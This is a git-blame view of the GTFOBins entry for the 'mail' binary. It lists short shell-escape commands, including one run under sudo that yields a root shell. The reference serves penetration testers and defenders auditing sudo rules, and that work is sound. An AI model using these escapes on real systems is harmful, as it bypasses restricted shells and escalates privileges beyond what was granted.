1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-09-16 17:01:38 +02:00
GTFOBins.github.io/_gtfobins/mail.md

16 lines
395 B
Markdown
Raw Permalink Normal View History

2018-05-29 20:34:56 +02:00
---
functions:
2018-10-05 19:55:38 +02:00
shell:
2019-02-19 11:27:35 +01:00
- description: GNU version only.
code: mail --exec='!/bin/sh'
2018-07-16 15:01:50 +02:00
- description: This creates a valid Mbox file which may be required by the binary.
code: |
TF=$(mktemp)
echo "From nobody@localhost $(date)" > $TF
mail -f $TF
!/bin/sh
2018-10-05 19:55:38 +02:00
sudo:
2019-02-19 11:27:35 +01:00
- description: GNU version only.
code: sudo mail --exec='!/bin/sh'
2018-05-29 20:34:56 +02:00
---